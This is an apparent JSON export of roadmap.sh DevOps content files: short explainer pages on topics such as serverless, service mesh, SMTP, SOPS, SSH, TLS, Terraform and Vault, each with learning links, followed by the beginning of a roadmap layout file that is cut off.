    "content": "# Serverless\n\nServerless is a cloud-computing execution model where the cloud provider dynamically manages the infrastructure, allowing developers to focus solely on writing code. In this model, resources are automatically allocated and scaled based on demand, and billing is based on actual usage rather than pre-purchased capacity. Serverless architectures are often used for event-driven workloads and microservices, improving development efficiency and reducing operational overhead. Popular platforms for serverless computing include AWS Lambda, Azure Functions, and Google Cloud Functions.\n\nVisit the following resources to learn more:\n\n- [@article@What is Serverless?](https://www.redhat.com/en/topics/cloud-native-apps/what-is-serverless)\n- [@video@What is Serverless?](https://www.youtube.com/watch?v=vxJobGtqKVM)\n- [@feed@Explore top posts about Serverless](https://app.daily.dev/tags/serverless?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/service-mesh@EeWsihH9ehbFKebYoB5i9.md",
    "content": "# Service Mesh\n\nA service mesh is a dedicated infrastructure layer that manages communication between microservices in a distributed application. It provides features like load balancing, service discovery, encryption, observability, and traffic management, allowing services to communicate securely and efficiently. By abstracting network-related concerns from the application code, a service mesh enhances reliability and security while simplifying the management of microservice interactions. Popular service mesh implementations include Istio, Linkerd, and Consul.\n\nVisit the following resources to learn more:\n\n- [@article@Whats a Service Mesh?](https://www.redhat.com/en/topics/microservices/what-is-a-service-mesh)\n- [@article@The Latest News About Service Mesh (TNS)](https://thenewstack.io/category/service-mesh/)\n- [@video@Istio & Service Mesh - Simply Explained in 15 mins](https://www.youtube.com/watch?v=16fgzklcF7Y)\n- [@feed@Explore top posts about Service Mesh](https://app.daily.dev/tags/service-mesh?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/smtp@zJy9dOynWgLTDKI1iBluG.md",
    "content": "# SMTP\n\nEmail is emerging as one of the most valuable services on the internet today. Most internet systems use SMTP as a method to transfer mail from one user to another. SMTP is a push protocol and is used to send the mail whereas POP (post office protocol) or IMAP (internet message access protocol) are used to retrieve those emails at the receiver’s side. SMTP is an application layer protocol. The client who wants to send the mail opens a TCP connection to the SMTP server and then sends the mail across the connection. The SMTP server is an always-on listening mode. As soon as it listens for a TCP connection from any client, the SMTP process initiates a connection through port 25. After successfully establishing a TCP connection the client process sends the mail instantly.\n\nVisit the following resources to learn more:\n\n- [@article@What is SMTP? - Cloudflare](https://www.cloudflare.com/learning/email-security/what-is-smtp)\n- [@article@SMTP - Wikipedia](https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol)\n- [@video@What is SMTP and how does it work?](https://www.youtube.com/watch?v=iUhDT3ZtWS0)\n- [@feed@Explore top posts about Serverless](https://app.daily.dev/tags/serverless?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/sops@GHQWHLxsO40kJ6z_YCinJ.md",
    "content": "# SOPS\n\nSOPS (Secrets OPerationS) is an open-source tool for managing and encrypting sensitive data such as passwords, API keys, and certificates. It allows developers to store secrets securely in version-controlled files by encrypting specific parts of files, typically using AWS KMS, GCP KMS, Azure Key Vault, or PGP. SOPS integrates seamlessly with infrastructure-as-code workflows, ensuring that secrets remain secure throughout the development lifecycle while allowing decryption only in trusted environments. It strikes a balance between security and usability in secret management.\n\nVisit the following resources to learn more:\n\n- [@official@SOPs Website](https://getsops.io)\n- [@opensource@getsops/sops](https://github.com/getsops/sops)"
  },
  {
    "path": "src/data/roadmaps/devops/content/spf@ewcJfnDFKXN8I5TLpXEaB.md",
    "content": "# SPF\n\nSender Policy Framework (SPF) is used to authenticate the sender of an email. With an SPF record in place, Internet Service Providers can verify that a mail server is authorized to send email for a specific domain. An SPF record is a DNS TXT record containing a list of the IP addresses that are allowed to send email on behalf of your domain.\n\nVisit the following resources to learn more:\n\n- [@article@What is a DNS SPF record?](https://www.cloudflare.com/learning/dns/dns-records/dns-spf-record/)\n- [@video@What is SPF? Sender Policy Framework Explained](https://www.youtube.com/watch?v=5HG8xJ2lWuc)"
  },
  {
    "path": "src/data/roadmaps/devops/content/splunk@dZID_Y_uRTF8JlfDCqeqs.md",
    "content": "# Splunk\n\nSplunk is a powerful platform for searching, monitoring, and analyzing machine-generated data in real-time. It collects log data from various sources such as servers, applications, networks, and devices, and transforms it into actionable insights through dashboards, alerts, and visualizations. Widely used in IT operations, security, and business analytics, Splunk helps teams detect issues, troubleshoot problems, and ensure compliance by providing deep visibility into system and application behavior. Its ability to handle large volumes of data makes it a popular choice for observability and log management.\n\nVisit the following resources to learn more:\n\n- [@official@Splunk Website](https://www.splunk.com/)\n- [@official@Splunk Documentation](https://docs.splunk.com/Documentation)\n- [@official@Splunk Videos](https://www.splunk.com/en_us/resources/videos.html)\n- [@video@Splunk Tutorial for Beginners](https://www.youtube.com/watch?v=3CiRs6WaWaU)\n- [@feed@Explore top posts about Logging](https://app.daily.dev/tags/logging?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/ssh@wcIRMLVm3SdEJWF9RPfn7.md",
    "content": "# SSH\n\nSSH (Secure Shell) is a cryptographic network protocol used to securely access and manage remote machines over an unsecured network. It provides encrypted communication, ensuring confidentiality and integrity, and allows for secure file transfers, command execution, and tunneling. SSH is widely used for remote administration of servers, cloud infrastructure, and networking devices, typically employing key-based authentication or passwords. Tools like OpenSSH are commonly used to establish SSH connections, providing a secure alternative to older, less secure protocols like Telnet.\n\nVisit the following resources to learn more:\n\n- [@official@What is SSH?](https://www.ssh.com/academy/ssh/protocol)\n- [@article@SSH Intro](https://www.baeldung.com/cs/ssh-intro)\n- [@article@SFTP using SSH](https://www.goanywhere.com/blog/how-sftp-works)\n- [@video@How SSH Works](https://www.youtube.com/watch?v=5JvLV2-ngCI)\n- [@feed@Explore top posts about SSH](https://app.daily.dev/tags/ssh?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/ssl--tls@0o6ejhfpmO4S8A6djVWva.md",
    "content": "# SSL/TLS\n\nSecure Sockets Layer (SSL) and Transport Layer Security (TLS) are cryptographic protocols used to provide security in internet communications. These protocols encrypt the data that is transmitted over the web, so anyone who tries to intercept packets will not be able to interpret the data. One difference that is important to know is that SSL is now deprecated due to security flaws, and most modern web browsers no longer support it. But TLS is still secure and widely supported, so preferably use TLS.\n\nVisit the following resources to learn more:\n\n- [@article@Cloudflare - What is SSL?](https://www.cloudflare.com/learning/ssl/what-is-ssl/)\n- [@article@Cloudflare - What is TLS?](https://www.cloudflare.com/en-gb/learning/ssl/transport-layer-security-tls/)\n- [@article@Wikipedia - SSL/TLS](https://en.wikipedia.org/wiki/Transport_Layer_Security)\n- [@video@SSH vs SSL vs TLS](https://www.youtube.com/watch?v=k3rFFLmQCuY)\n- [@video@SSL/TLS Explained in 7 Minutes](https://www.youtube.com/watch?v=67Kfsmy_frM)"
  },
  {
    "path": "src/data/roadmaps/devops/content/suse-linux@zhNUK953p6tjREndk3yQZ.md",
    "content": "# openSUSE Linux\n\nopenSUSE is a Linux-based operating system known for its stability, versatility, and focus on user-friendly system management. It offers two main distributions: openSUSE Leap, a stable, enterprise-grade version with regular point releases, and openSUSE Tumbleweed, a rolling release version with the latest software updates. OpenSUSE is widely used by developers, system administrators, and enterprise environments due to its robust package management via Zypper and YaST (Yet another Setup Tool), which simplifies system configuration. It also supports a wide range of hardware and offers strong community-driven support.\n\nVisit the following resources to learn more:\n\n- [@official@openSUSE Linux Website](https://www.opensuse.org/)\n- [@official@openSUSE Documentation](https://en.opensuse.org/Main_Page)\n- [@article@Unofficial openSUSE Getting Started Guide](https://opensuse-guide.org/)\n- [@video@OpenSuSE - You Should Try It](https://www.youtube.com/watch?v=CZwAgf3f8CM)\n- [@feed@Explore top posts about Linux](https://app.daily.dev/tags/linux?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/teamcity@L000AbzF3oLcn4B1eUIYX.md",
    "content": "# TeamCity\n\nTeamCity is a continuous integration (CI) and continuous delivery (CD) server developed by JetBrains, designed to automate the build, test, and deployment processes in software development. It supports multiple languages and frameworks, offering a flexible and scalable environment for managing pipelines. TeamCity provides powerful features like version control integration, build chaining, parallel execution, and detailed reporting. It also offers a user-friendly web interface, customizable build configurations, and extensive plugin support, making it a popular choice for teams aiming to streamline their CI/CD workflows.\n\nVisit the following resources to learn more:\n\n- [@official@TeamCity Documentation](https://www.jetbrains.com/help/teamcity/teamcity-documentation.html)\n- [@official@TeamCity Tutorials](https://www.jetbrains.com/teamcity/tutorials/)\n- [@video@CI/CD with JetBrains TeamCity](https://www.youtube.com/watch?v=zqi4fDF-S60)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/terminal-knowledge@wjJPzrFJBNYOD3SJLzW2M.md",
    "content": "# Terminal Knowledge\n\nA terminal is simply a text-based interface to the computer, it is used to interact with your computer system via CLI (command line interface).\n\nVisit the following resources to learn more:\n\n- [@article@What is CLI?](https://en.wikipedia.org/wiki/Command-line_interface)"
  },
  {
    "path": "src/data/roadmaps/devops/content/terraform@nUBGf1rp9GK_pbagWCP9g.md",
    "content": "# Terraform\n\nTerraform is an open-source infrastructure as code (IaC) tool developed by HashiCorp, used to define, provision, and manage cloud and on-premises infrastructure using declarative configuration files. It supports multiple cloud providers like AWS, Azure, and Google Cloud, as well as various services and platforms, enabling infrastructure automation across diverse environments. Terraform's state management and modular structure allow for efficient scaling, reusability, and version control of infrastructure. It is widely used for automating infrastructure provisioning, reducing manual errors, and improving infrastructure consistency and repeatability.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Terraform Roadmap](https://roadmap.sh/terraform)\n- [@official@Terraform Documentation](https://www.terraform.io/docs)\n- [@official@Terraform Tutorials](https://learn.hashicorp.com/terraform)\n- [@opensource@Terraform Registry - Official Providers](https://registry.terraform.io/)\n- [@article@How to Scale Your Terraform Infrastructure](https://thenewstack.io/how-to-scale-your-terraform-infrastructure/)\n- [@course@Complete Terraform Course](https://www.youtube.com/watch?v=7xngnjfIlK4)\n- [@video@Terraform in 100 Seconds](https://www.youtube.com/watch?v=tomUWcQ0P3k)\n- [@feed@Explore top posts about Terraform](https://app.daily.dev/tags/terraform?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/text-manipulation@cUifrP7v55psTb20IZndf.md",
    "content": "# Text Manipulation\n\nText manipulation tools are utilities or software that enable users to modify, process, and transform text data efficiently. These tools are often used in scripting, data cleaning, and automation tasks. Common text manipulation tools include `sed` (stream editor) for search and replace, `awk` for pattern scanning and data extraction, and `grep` for searching text using regular expressions. Other popular tools include `cut`, `sort`, `tr`, and `uniq` for various text processing functions. These command-line tools are commonly used in UNIX/Linux environments to handle large text files, automate workflows, and perform complex text transformations.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Text Processing Command](https://earthly.dev/blog/linux-text-processing-commands/)\n- [@video@Learning Awk Is Essential For Linux Users](https://www.youtube.com/watch?v=9YOZmI-zWok)"
  },
  {
    "path": "src/data/roadmaps/devops/content/tomcat@dF3otkMMN09tgCzci8Jyv.md",
    "content": "# Tomcat\n\nApache Tomcat is an open-source web server and servlet container that implements Java Servlet, JavaServer Pages (JSP), and Java Expression Language (EL) specifications. It is widely used to deploy and manage Java-based web applications. Tomcat provides a robust platform for running Java web applications with features like request handling, session management, and resource pooling. It is known for its performance, scalability, and ease of integration with other Java technologies, making it a popular choice for developers seeking to run Java applications in a production environment.\n\nVisit the following resources to learn more:\n\n- [@official@Tomcat Website](https://tomcat.apache.org/)\n- [@official@Tomcat Documentation](https://tomcat.apache.org/tomcat-10.0-doc/index.html)\n- [@video@Apache Tomcat Full Tutorial](https://www.youtube.com/watch?v=rElJIPRw5iM)"
  },
  {
    "path": "src/data/roadmaps/devops/content/travis-ci@-pGF3soruWWxwE4LxE5Vk.md",
    "content": "# Travis CI\n\nTravis CI is a cloud-based continuous integration (CI) service that automatically builds and tests code changes in GitHub repositories. It helps streamline the software development process by automatically running tests and building applications whenever code is pushed or a pull request is made. Travis CI supports a variety of programming languages and provides integration with other tools and services, offering features like build matrix configurations, deployment pipelines, and notifications. Its ease of setup and integration with GitHub makes it a popular choice for open-source and private projects looking to implement CI/CD practices.\n\nVisit the following resources to learn more:\n\n- [@official@Travis CI Documentation](https://docs.travis-ci.com/)\n- [@official@Travis CI Tutorial](https://docs.travis-ci.com/user/tutorial/)\n- [@video@Travis CI Complete Tutorial for DevOps Engineers](https://www.youtube.com/watch?v=xLWDOLhTH38)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/devops/content/ubuntu--debian@cTqVab0VbVcn3W7i0wBrX.md",
    "content": "# Ubuntu / Debian\n\nUbuntu and Debian are both popular Linux distributions, with Debian serving as the upstream base for Ubuntu. Debian is known for its stability, extensive package repository, and rigorous testing process, making it a favored choice for servers and systems requiring long-term support. Ubuntu, derived from Debian, aims to provide a more user-friendly experience with regular releases, a focus on ease of use, and commercial support options. It features a more streamlined installation process, extensive documentation, and an active community. Both distributions use the Debian package management system (APT) and share many underlying technologies, but Ubuntu emphasizes a more polished desktop experience and rapid release cycle.\n\nVisit the following resources to learn more:\n\n- [@course@Practice Linux Commands with Hands-on Labs\"](https://labex.io/courses/linux-basic-commands-practice-online)\n- [@official@Debian Website](https://www.debian.org/)\n- [@official@Ubuntu Website](https://ubuntu.com/)\n- [@video@How to use Ubuntu](https://www.youtube.com/watch?v=lmeDvSgN6zY)\n- [@video@Debian 12 Tutorial for Beginners](https://www.youtube.com/watch?v=zOZEkzwhThc)\n- [@feed@Explore top posts about Ubuntu](https://app.daily.dev/tags/ubuntu?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/vault@tZzvs80KzqT8aDvEyjack.md",
    "content": "# Vault\n\nHashiCorp Vault is a tool designed for securely managing secrets and protecting sensitive data, such as passwords, API keys, and encryption keys. It provides centralized secrets management, access control, and auditing features. Vault supports various authentication methods and dynamic secrets, allowing it to generate secrets on-the-fly and manage their lifecycle. It also offers robust encryption capabilities, both for data at rest and in transit. Vault is widely used in DevOps environments to ensure secure and scalable management of sensitive information, integrating with various infrastructure and application platforms.\n\nVisit the following resources to learn more:\n\n- [@official@HashiCorp Vault](https://www.vaultproject.io/)\n- [@opensource@hashicorp/vault](https://github.com/hashicorp/vault)\n- [@video@HashiCorp Vault Explained in 180 seconds](https://www.youtube.com/watch?v=nG8fCdWkLzc)\n- [@video@HashiCorp Vault Tutorial for Beginners](https://www.youtube.com/watch?v=ae72pKpXe-s)"
  },
  {
    "path": "src/data/roadmaps/devops/content/vcs-hosting@h10BH3OybHcIN2iDTSGkn.md",
    "content": "# Version Control Hosting Services\n\nWhen working on a team, you often need a remote place to put your code so others can access it, create their own branches, and create or review pull requests. This remote place is called a repository, and these services often include issue tracking, code review, and continuous integration features. A few popular choices are GitHub, GitLab, Bitbucket, and AWS CodeCommit.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub](https://github.com)\n- [@official@GitLab](https://about.gitlab.com/)\n- [@official@BitBucket](https://bitbucket.org/product/guides/getting-started/overview)\n- [@video@GitHub vs GitLab vs Bitbucket - Which Is Better?](https://www.youtube.com/watch?v=FQGXIIqziQg)\n"
  },
  {
    "path": "src/data/roadmaps/devops/content/vercel@LZDRgDxEZ3klp2PrrJFBX.md",
    "content": "# Vercel\n\nVercel is a provider of front-end cloud that provides the infrastructure to build, scale, and secure a faster, more personalized web. In other words, it is a cloud platform designed to simplify the deployment process for web applications, particularly those built with modern frameworks like React, Next, etc. where various projects can be deployed by connecting the GitHub repository in Vercel we can deploy the selected GitHub branch to the Vercel domains. Simultaneously, it provides custom domains to deploy code on live servers. These servers contain the `vercel.app` as the suffix in the domain.\n\nVisit the following resources to learn more:\n\n- [@official@Vercel](https://vercel.com/)\n- [@official@Vercel Docs](https://vercel.com/docs)\n- [@video@Vercel: Product Walkthrough](https://www.youtube.com/watch?v=sPmat30SE4k)\n- [@feed@Explore top posts about Vercel](https://app.daily.dev/tags/vercel?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/version-control-systems@LvhFmlxz5uIy7k_nzx2Bv.md",
    "content": "# Version Control Systems\n\nVersion control systems (VCS) are tools that track changes to code and files over time, enabling multiple users to collaborate on projects, maintain history, and manage different versions of codebases. They help in tracking modifications, merging changes, and resolving conflicts. There are two main types of VCS: centralized and distributed. Centralized systems (like Subversion and CVS) rely on a single central repository, while distributed systems (like Git and Mercurial) allow each user to have a complete copy of the repository, including its history. Distributed VCSs, such as Git, are particularly popular for their flexibility, branching capabilities, and robust support for collaborative workflows.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git](https://git-scm.com/)\n- [@official@Mercurial](https://www.mercurial-scm.org/)\n- [@official@Subversion](https://subversion.apache.org/)\n- [@article@What is Version Control?](https://www.atlassian.com/git/tutorials/what-is-version-control)\n- [@video@Version Control System (VCS)](https://www.youtube.com/watch?v=SVkuliabq4g)"
  },
  {
    "path": "src/data/roadmaps/devops/content/vim--nano---emacs@Jt8BmtLUH6fHT2pGKoJs3.md",
    "content": "# Editors\n\nText editors are software tools used for creating, editing, and managing text files. They range from simple editors with basic features to complex Integrated Development Environments (IDEs). Popular text editors include:\n\n*   **Notepad**: A basic editor for Windows, suitable for simple text files.\n*   **Vim**: A highly configurable and powerful editor known for its efficiency and modal interface.\n*   **Emacs**: A versatile editor with extensive customization options and a wide range of plugins.\n*   **Sublime Text**: A feature-rich editor with a focus on speed and a user-friendly interface.\n*   **Visual Studio Code**: A modern, open-source editor with built-in support for debugging, extensions, and integration with various development tools.\n\nVisit the following resources to learn more:\n\n- [@book@Practical Vim 2nd Edition](https://dokumen.pub/practical-vim-2nd-edition-2nd-edition-9781680501278.html)\n- [@official@Vim](https://www.vim.org)\n- [@official@GNU Nano](https://www.nano-editor.org/)\n- [@official@GNU Emacs](https://www.gnu.org/software/emacs/)\n- [@video@Vim Tutorial for Beginners](https://www.youtube.com/watch?v=RZ4p-saaQkc)\n- [@video@Linux Crash Course - nano](https://www.youtube.com/watch?v=DLeATFgGM-A)\n- [@video@The Absolute Beginner's Guide to Emacs](https://www.youtube.com/watch?v=48JlgiBpw_I)"
  },
  {
    "path": "src/data/roadmaps/devops/content/what-is-and-how-to-setup-x@jCWrnQNgjHKyhzd9dwOHz.md",
    "content": "# Setting up ________\n\nLearn how to setup:\n\n*   Forward Proxy\n*   Reverse Proxy\n*   Load Balancer\n*   Firewall\n*   Caching Server\n*   Web Server"
  },
  {
    "path": "src/data/roadmaps/devops/content/white--grey-listing@E-lSLGzgOPrz-25ER2Hk7.md",
    "content": "# White Listing vs Grey Listing\n\nWhitelisting involves creating a list of trusted entities (such as IP addresses, email addresses, or applications) that are explicitly allowed to access a system or send messages. Anything not on the whitelist is denied by default. Whitelisting offers a high level of security by limiting access to only known and approved entities, but it can be inflexible and require frequent updates to accommodate legitimate changes. Greylisting is a more flexible approach used primarily in email filtering. When an email is received from an unknown sender, the server temporarily rejects it with a \"try again later\" response. Legitimate mail servers will retry sending the email after a short delay, while spammers, which often do not retry, are blocked. This method reduces spam by taking advantage of the fact that spammers usually do not follow retry mechanisms. Greylisting can be less intrusive than whitelisting, but it may introduce slight delays in email delivery for first-time senders.\n\nVisit the following resources to learn more:\n\n- [@article@Detailed Introduction to greylisting](https://en.wikipedia.org/wiki/Greylisting_(email))\n- [@video@Greylisting](https://www.youtube.com/watch?v=ljtU6I0sIiw)\n- [@video@How to Whitelist an Email Address?](https://www.youtube.com/watch?v=NqQIBtY7ySw)"
  },
  {
    "path": "src/data/roadmaps/devops/content/windows@UOQimp7QkM3sxmFvk5d3i.md",
    "content": "# Windows\n\nWindows is a series of operating systems developed by Microsoft, widely used across personal, business, and server environments. It provides a graphical user interface (GUI) that simplifies interaction with the computer, featuring a desktop environment with icons, windows, and menus. Key versions include Windows 10, known for its user-friendly interface and support for modern applications, and Windows 11, which introduces a refreshed design and new features like improved virtual desktops and enhanced security. Windows supports a wide range of software applications and hardware devices, making it a versatile and popular choice for many users and organizations.\n\nVisit the following resources to learn more:\n\n- [@official@Microsoft Windows](http://microsoft.com/windows)\n- [@official@Windows Documentation for Developers](https://learn.microsoft.com/en-us/windows/)\n- [@video@40 Windows Commands you NEED to know](https://www.youtube.com/watch?v=Jfvg3CS1X3A&)\n- [@feed@Explore top posts about Windows](https://app.daily.dev/tags/windows?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/zabbix@W9sKEoDlR8LzocQkqSv82.md",
    "content": "# Zabbix\n\nZabbix is an open-source monitoring solution designed for tracking the performance, availability, and health of IT infrastructure. It provides comprehensive monitoring capabilities for servers, networks, applications, and services through a centralized platform. Zabbix supports a wide range of data collection methods, including agent-based monitoring, SNMP, IPMI, and custom scripts. It offers features such as real-time alerting, visualizations with customizable dashboards, and detailed reporting. Its scalability and flexibility make it suitable for environments of varying sizes, from small networks to large enterprise systems.\n\nVisit the following resources to learn more:\n\n- [@official@Zabbix Website](https://www.zabbix.com/)\n- [@official@Zabbix Documentation](https://www.zabbix.com/manuals)\n- [@video@How to Monitor EVERYTHING in your HomeLab for free - Zabbix Overview](https://www.youtube.com/watch?v=R_EQzBkz4sE)"
  },
  {
    "path": "src/data/roadmaps/devops/devops-beginner.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"JN1S4v1vCH6o_1FGxLu6i\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -674.9010635117819,\n        \"y\": -189.37102852942985\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"This is the beginner friendly version of the DevOps roadmap. Make sure to\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 354,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": -674.9010635117819,\n        \"y\": -189.37102852942985\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 354,\n        \"height\": 143\n      },\n      \"resizing\": false\n    },\n    {\n      \"width\": 141,\n      \"height\": 68,\n      \"id\": \"jJebnKe4JftMXZ1lCsipq\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -225.24197183582044,\n        \"y\": -101.79865157302265\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iogwMmOvub2ZF4zgg6WyF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -225.24197183582044,\n        \"y\": -101.79865157302265\n      },\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"width\": 20,\n      \"height\": 102,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -164.74197183582044,\n        \"y\": -203.7986515730226\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -164.74197183582044,\n        \"y\": -203.7986515730226\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 20,\n        \"height\": 102\n      },\n      \"resizing\": false,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 15.964587556206538,\n        \"y\": -188.19821046440893\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 354,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 15.964587556206538,\n        \"y\": -188.19821046440893\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 354,\n        \"height\": 143\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"1ly_SupC6_v_yMPT1QfGL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 29.167961969006683,\n        \"y\": -106.21264704666363\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 329,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 29.167961969006683,\n        \"y\": -106.21264704666363\n      },\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"MfErpYwkJ0wiWJZEUVfrb\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -660.5491661871866,\n        \"y\": -109.81921331160987\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit the Detailed Version\",\n        \"href\": \"/devops\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#232323\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 328,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 328,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -660.5491661871866,\n        \"y\": -109.81921331160987\n      },\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"wBKp8Q5D6WhjVVsD89UHl\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -401.2032366608315,\n        \"y\": 1585.3112556008994\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"At this point, you should have enough knowledge to find a junior to mid-level (maybe even senior) DevOps position at any company depending on the depth of your knowledge. Keep learning and building projects till you find a job. Your job will teach you a lot as well.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 489,\n      \"height\": 164,\n      \"positionAbsolute\": {\n        \"x\": -401.2032366608315,\n        \"y\": 1585.3112556008994\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 489,\n        \"height\": 164\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"width\": 409,\n      \"height\": 119,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -361.2032366608315,\n        \"y\": 1810.7906301811447\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Continue learning with following roadmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -361.2032366608315,\n        \"y\": 1810.7906301811447\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 409,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"width\": 379,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -346.2032366608315,\n        \"y\": 1864.9362876142543\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit Detailed DevOps Roadmap\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -346.2032366608315,\n        \"y\": 1864.9362876142543\n      },\n      \"style\": {\n        \"width\": 379,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true\n    },\n    {\n      \"width\": 20,\n      \"height\": 74,\n      \"id\": \"RLtk1C3gofHnLJ17x3o5b\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -166.70323666083152,\n        \"y\": 1933.7906301811445\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": 